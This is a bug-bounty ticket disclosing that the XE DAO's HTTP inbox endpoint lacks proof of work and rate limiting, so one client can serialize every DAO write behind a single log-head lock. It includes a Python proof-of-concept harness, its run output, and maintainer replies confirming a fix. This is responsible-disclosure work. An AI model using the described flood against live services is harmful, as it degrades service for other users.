<!-- XE-0032 · dao/api: unauthenticated inbox POST serializes every DAO write behind one hash-chain lock (High) · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0032>. The page is the record; this is the same page for reading.*

XE-0032 · Bounty

# dao/api: unauthenticated inbox POST serializes every DAO write behind one hash-chain lock (High)

Awarded
High
[xe#49](https://github.com/xeprotocol/xe/issues/49)
filed 2026-10-25 11:12 UTC
by byfor8

Verdict
:   Valid

Tier
:   High

Claimed
:   High

Area
:   DAO harness

Duplicate of
:   —

Tracked
:   internally

Award
:   6,000 XE approved
    · ceiling 10,000

Updated
:   2026-11-10 00:11 UTC

Told
:   2026-10-30 08:21 UTC

### Patches

- [dao@fd2b0d5f0e](https://github.com/xeprotocol/dao/commit/fd2b0d5f0ed1a3dbf0a11a9b33ce3cb7a1741c8d)
- [dao@be43d38](https://github.com/xeprotocol/dao/commit/be43d38)

### History

- [2583](https://bounty.xe.network/log/2583) 2026-11-03 19:42 UTC github.labels
- [2581](https://bounty.xe.network/log/2581) 2026-11-03 19:42 UTC proposal.adopted
- [2580](https://bounty.xe.network/log/2580) 2026-11-03 19:42 UTC ticket.status patched → awarded
- [2579](https://bounty.xe.network/log/2579) 2026-11-03 19:42 UTC ticket.status accepted → patched
- [2573](https://bounty.xe.network/log/2573) 2026-11-03 19:29 UTC proposal.created
- [2165](https://bounty.xe.network/log/2165) 2026-11-03 01:23 UTC github.labels
- [2150](https://bounty.xe.network/log/2150) 2026-11-03 01:22 UTC ticket.status awarded → accepted
- [1147](https://bounty.xe.network/log/1147) 2026-10-31 11:14 UTC github.labels
- [1143](https://bounty.xe.network/log/1143) 2026-10-31 11:14 UTC ticket.status patched → awarded
- [1138](https://bounty.xe.network/log/1138) 2026-10-31 11:11 UTC ticket.facts assignee\_id
- [1128](https://bounty.xe.network/log/1128) 2026-10-31 10:46 UTC ticket.award
- [1080](https://bounty.xe.network/log/1080) 2026-10-30 08:39 UTC patch.linked

[Full history](https://bounty.xe.network/log?ref=XE-0032) · [JSON](https://bounty.xe.network/v1/tickets/XE-0032) · [markdown](https://bounty.xe.network/XE-0032.md)

### Report

## Summary

The DAO HTTP inbox endpoint requires only a signed request (any generated key) and performs no proof of work and no rate limiting, while every accepted message appends a public event to the hash-chained log under a row-level lock on the single log head row. Votes, fee settlement, session submission and worker jobs all append through the same lock. One client generating keys and posting messages as fast as the API accepts serializes all DAO writes for everyone.

## Affected component

dao/api/public.py, inbox\_post at lines 190 to 195; dao/services/inbox.py, http\_submit at lines 63 to 74 (pow\_nonce\=0); dao/log.py, append path with SELECT FOR UPDATE on log head at lines 53 to 56; no rate limiter exists anywhere in the dao tree, at dao commit c60cf81522e3eb9e258b353e77164a3f7634cd98.

## Impact

One client with a key generation loop holds the single log-head lock continuously: every DAO write (vote receipt, fee settle, session submit) queues behind it, and the SSE event fanout amplifies the flood to all subscribers. This is an application-layer lock on the DAO, not the ledger, and not hosting-layer volumetric DDoS.

Suggested severity: High (degradation one client can cause). Confirmed by read-only source review at the dao pin.

## PoC

## Scope note

The dao service is the governance backend named in the program's "state chain and multisig governance" scope row; flagging that the dao repository itself is not separately named on the bounty page.

**Script** (clone the dao repository as a sibling checkout directory and adjust the path line inside the script if your layout differs):

```
#!/usr/bin/env python3
"""F15: unauthenticated DAO inbox POST serializes every DAO write on log_head.

POST /v1/inbox (ws/dao/dao/api/public.py) calls inbox.http_submit, which
appends inbox.received through EventLog.append. append takes
SELECT log_head ... FOR UPDATE on the single id=1 row (ws/dao/dao/log.py).
Votes, fees, sessions, pause, and worker jobs append through the same lock.

SQLite's compiler drops FOR UPDATE, so this harness keeps a clean in-process
session fake (same style as poc/f21_unfinalized_fee.py) that honours the
statement's _for_update_arg until commit — the Postgres row-lock lifetime.
N unique signed inbox submits plus one concurrent vote.cast all go through
the real EventLog.append / http_submit / verify_signed path.
"""
from __future__ import annotations

import asyncio
import os
import sys
import time
from dataclasses import dataclass, field
from types import SimpleNamespace

sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "ws", "dao"))

from sqlalchemy import select
from sqlalchemy.dialects import postgresql

from dao.auth import SignedRequest, verify_signed
from dao.canonical import DOMAIN_INBOX_HTTP, digest
from dao.log import ZERO, EventLog, event_hash
from dao.models import Event, InboxMessage, LogHead
from dao.services.inbox import http_submit
from dao.signer import Signer
from xe.keys import KeyPair

N_INBOX = 8
HOLD_S = 0.03  # keep the txn (and therefore the row lock) open after append

def _entity(stmt):
    descs = getattr(stmt, "column_descriptions", None) or []
    if not descs:
        return None
    return descs[0].get("entity")

def _pg_sql(stmt) -> str:
    return str(stmt.compile(dialect=postgresql.dialect()))

class FakeResult:
    def __init__(self, rows):
        self._rows = list(rows)

    def scalar_one(self):
        if len(self._rows) != 1:
            raise RuntimeError(f"scalar_one expected 1 row, got {len(self._rows)}")
        return self._rows[0]

    def scalar_one_or_none(self):
        return self._rows[0] if self._rows else None

    def scalars(self):
        return self

    def all(self):
        return list(self._rows)

    def first(self):
        return self._rows[0] if self._rows else None

@dataclass
class Hold:
    role: str
    idx: int
    wait_s: float
    acquired_at: float
    released_at: float | None = None
    sql: str = ""

@dataclass
class Store:
    n_inbox: int
    lock: asyncio.Lock = field(default_factory=asyncio.Lock)
    head: LogHead = field(default_factory=lambda: LogHead(id=1, index=-1, hash=ZERO))
    events: list[Event] = field(default_factory=list)
    inbox: list[InboxMessage] = field(default_factory=list)
    holds: list[Hold] = field(default_factory=list)
    inbox_attempts: int = 0
    all_inbox_attempted: asyncio.Event = field(default_factory=asyncio.Event)
    vote_waiting: asyncio.Event = field(default_factory=asyncio.Event)
    active_holders: int = 0
    max_holders: int = 0

class FakeSession:
    """Minimal AsyncSession: SELECT FOR UPDATE on log_head held until commit."""

    def __init__(self, store: Store, role: str, idx: int):
        self.store = store
        self.role = role
        self.idx = idx
        self._hold: Hold | None = None

    def add(self, obj) -> None:
        if isinstance(obj, Event):
            self.store.events.append(obj)
        elif isinstance(obj, InboxMessage):
            self.store.inbox.append(obj)
        else:
            raise TypeError(f"unexpected add({type(obj)!r})")

    async def flush(self) -> None:
        return None

    async def execute(self, stmt):
        entity = _entity(stmt)
        for_update = getattr(stmt, "_for_update_arg", None) is not None
        if entity is LogHead:
            if for_update:
                sql = _pg_sql(stmt)
                if self.role == "inbox":
                    self.store.inbox_attempts += 1
                    if self.store.inbox_attempts >= self.store.n_inbox:
                        self.store.all_inbox_attempted.set()
                else:
                    await self.store.all_inbox_attempted.wait()
                    self.store.vote_waiting.set()
                t0 = time.perf_counter()
                await self.store.lock.acquire()
                wait_s = time.perf_counter() - t0
                if self.role == "inbox":
                    await self.store.vote_waiting.wait()
                self.store.active_holders += 1
                self.store.max_holders = max(self.store.max_holders, self.store.active_holders)
                self._hold = Hold(self.role, self.idx, wait_s, time.perf_counter(), sql=sql)
                self.store.holds.append(self._hold)
            return FakeResult([self.store.head])
        if entity is Event:
            return FakeResult(sorted(self.store.events, key=lambda e: e.index))
        raise AssertionError(f"unexpected execute entity={entity} stmt={stmt}")

    def _release(self) -> None:
        if self._hold is None:
            return
        self._hold.released_at = time.perf_counter()
        self.store.active_holders -= 1
        self.store.lock.release()
        self._hold = None

    async def commit(self) -> None:
        self._release()

    async def rollback(self) -> None:
        self._release()

def sign_inbox(i: int) -> tuple[KeyPair, object]:
    kp = KeyPair.generate()
    payload = {"message": f"f15-inbox-{i}-{kp.pub_key_hex[:12]}"}
    ts = time.time_ns()
    sig = kp.sign_hex(digest(DOMAIN_INBOX_HTTP, {"payload": payload, "timestamp": ts}))
    req = SignedRequest(payload=payload, timestamp=ts, pub_key=kp.pub_key_hex, signature=sig)
    v = verify_signed(req, DOMAIN_INBOX_HTTP)
    return kp, v

def chain_ok(events: list[Event]) -> bool:
    prev = ZERO
    for i, ev in enumerate(sorted(events, key=lambda e: e.index)):
        if ev.index != i or ev.prev_hash != prev:
            return False
        if event_hash(ev.index, ev.ts, ev.kind, ev.actor, ev.payload, ev.prev_hash) != ev.hash:
            return False
        prev = ev.hash
    return True

def holds_overlap(holds: list[Hold]) -> bool:
    iv = []
    for h in holds:
        if h.released_at is None:
            return True
        iv.append((h.acquired_at, h.released_at))
    iv.sort()
    for (a0, a1), (b0, b1) in zip(iv, iv[1:]):
        if b0 < a1:
            return True
    return False

async def inbox_task(store: Store, ctx, i: int) -> dict:
    db = FakeSession(store, "inbox", i)
    try:
        _kp, v = sign_inbox(i)
        t0 = time.perf_counter()
        m = await http_submit(ctx, db, v)
        appended = time.perf_counter()
        await asyncio.sleep(HOLD_S)
        await db.commit()
        return {
            "role": "inbox",
            "idx": i,
            "id": m.id,
            "sig": v.signature,
            "pub": v.pub_key,
            "pow_nonce": m.pow_nonce,
            "submit_s": appended - t0,
            "actor": v.actor,
        }
    except Exception:
        await db.rollback()
        raise

async def vote_task(store: Store, ctx) -> dict:
    db = FakeSession(store, "vote", 0)
    try:
        t0 = time.perf_counter()
        ev = await ctx.events.append(
            db,
            "vote.cast",
            "account:voter",
            {"proposal": "ab" * 32, "choice": "for", "weight": 0},
            ref="proposal:f15",
        )
        appended = time.perf_counter()
        await db.commit()
        return {
            "role": "vote",
            "index": ev.index,
            "kind": ev.kind,
            "append_s": appended - t0,
        }
    except Exception:
        await db.rollback()
        raise

async def run() -> int:
    store = Store(n_inbox=N_INBOX)
    signer = Signer.empty()
    ctx = SimpleNamespace(
        signer=signer,
        events=EventLog(signer),
        config=SimpleNamespace(accounts={"dao": "dd" * 32, "fee": "ff" * 32}),
    )

    demo = select(LogHead).where(LogHead.id == 1).with_for_update()
    print(f"log_head FOR UPDATE (postgresql): {_pg_sql(demo)}")
    print(f"sqlite compiler drops FOR UPDATE (so this fake holds the row lock until commit)")
    print(f"N_INBOX={N_INBOX} HOLD_S={HOLD_S} (txn held after inbox.http_submit, before commit)")

    inbox_futs = [asyncio.create_task(inbox_task(store, ctx, i)) for i in range(N_INBOX)]
    vote_fut = asyncio.create_task(vote_task(store, ctx))
    inbox_rows, vote = await asyncio.wait_for(
        asyncio.gather(asyncio.gather(*inbox_futs), vote_fut),
        timeout=10,
    )

    sigs = {r["sig"] for r in inbox_rows}
    ids = {r["id"] for r in inbox_rows}
    pubs = {r["pub"] for r in inbox_rows}
    pows = {r["pow_nonce"] for r in inbox_rows}
    kinds = [e.kind for e in sorted(store.events, key=lambda e: e.index)]
    vote_hold = next(h for h in store.holds if h.role == "vote")
    inbox_holds = [h for h in store.holds if h.role == "inbox"]
    overlap = holds_overlap(store.holds)
    ok_chain = chain_ok(store.events)
    vote_last = kinds[-1] == "vote.cast" and vote["index"] == N_INBOX
    expected_wait = HOLD_S * N_INBOX * 0.5

    print(
        f"inbox_n={len(inbox_rows)} unique_sigs={len(sigs)} unique_ids={len(ids)} "
        f"unique_pubkeys={len(pubs)} pow_nonce={pows}"
    )
    print(
        f"lock_acquires={len(store.holds)} max_concurrent_holders={store.max_holders} "
        f"overlap={overlap}"
    )
    print(
        f"inbox_lock_wait_s={[round(h.wait_s, 4) for h in inbox_holds]} "
        f"inbox_hold_s={[round((h.released_at or 0) - h.acquired_at, 4) for h in inbox_holds]}"
    )
    print(
        f"vote_lock_wait_s={vote_hold.wait_s:.4f} vote_event_index={vote['index']} "
        f"vote_last={vote_last} expected_wait_gt={expected_wait:.3f}"
    )
    print(f"kinds={kinds}")
    print(
        f"chain_ok={ok_chain} head_index={store.head.index} head_hash={store.head.hash[:16]}... "
        f"n_events={len(store.events)} n_inbox_rows={len(store.inbox)}"
    )
    print(f"for_update_sql_seen={inbox_holds[0].sql!r}")

    pass_ok = (
        len(inbox_rows) == N_INBOX
        and len(sigs) == N_INBOX
        and len(ids) == N_INBOX
        and len(pubs) == N_INBOX
        and pows == {0}
        and store.max_holders == 1
        and len(store.holds) == N_INBOX + 1
        and not overlap
        and vote_hold.wait_s >= expected_wait
        and vote_last
        and kinds.count("inbox.received") == N_INBOX
        and kinds.count("vote.cast") == 1
        and ok_chain
        and store.head.index == N_INBOX
        and "FOR UPDATE" in inbox_holds[0].sql
        and "log_head" in inbox_holds[0].sql
    )
    if pass_ok:
        print(
            "PASS: F15 N unique signed inbox POSTs serialize on log_head FOR UPDATE; "
            "vote append queued behind them"
        )
        return 0
    print("FAIL: F15 expected one log_head lock, unique inbox appends, and a queued vote")
    return 1

if __name__ == "__main__":
    raise SystemExit(asyncio.run(run()))
```

**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):

```
log_head FOR UPDATE (postgresql): SELECT log_head.id, log_head.index, log_head.hash
FROM log_head
WHERE log_head.id = %(id_1)s FOR UPDATE
sqlite compiler drops FOR UPDATE (so this fake holds the row lock until commit)
N_INBOX=8 HOLD_S=0.03 (txn held after inbox.http_submit, before commit)
inbox_n=8 unique_sigs=8 unique_ids=8 unique_pubkeys=8 pow_nonce={0}
lock_acquires=9 max_concurrent_holders=1 overlap=False
inbox_lock_wait_s=[0.0, 0.0344, 0.0642, 0.0942, 0.1242, 0.1543, 0.1844, 0.2145] inbox_hold_s=[0.0304, 0.0305, 0.0306, 0.0305, 0.0305, 0.0305, 0.0306, 0.0305]
vote_lock_wait_s=0.2448 vote_event_index=8 vote_last=True expected_wait_gt=0.120
kinds=['inbox.received', 'inbox.received', 'inbox.received', 'inbox.received', 'inbox.received', 'inbox.received', 'inbox.received', 'inbox.received', 'vote.cast']
chain_ok=True head_index=8 head_hash=147f088abec2cf25... n_events=9 n_inbox_rows=8
for_update_sql_seen='SELECT log_head.id, log_head.index, log_head.hash
FROM log_head
WHERE log_head.id = %(id_1)s FOR UPDATE'
PASS: F15 N unique signed inbox POSTs serialize on log_head FOR UPDATE; vote append queued behind them
```

## Fix suggestion

Require proof of work or a token bucket per source on inbox POST, and batch or shard the log append so the single head lock is not on every write path.

### Thread

**Joseph Denne**2026-10-30 01:10 UTCgithub

Thanks, confirmed. The HTTP inbox has no proof of work and no rate limit, and every accepted message is a public log event behind the single log-head lock. The change in hand adds the chat-door proof of work to the HTTP door, per-IP and per-account rate limits on the signed write routes, and stops writing untriaged inbox messages to the public log on receipt. The three DAO inbox reports are being fixed in one change; we will post the commit here when it lands.

**josephdenne**team2026-10-30 08:08 UTCgithub

Fix is on main: https://github.com/xeprotocol/dao/commit/fd2b0d5f0ed1a3dbf0a11a9b33ce3cb7a1741c8d. Deploying to dao.test.network next; this issue will be updated once it is live.

**josephdenne**team2026-10-30 08:21 UTCgithub

This fix is now live on dao.test.network.
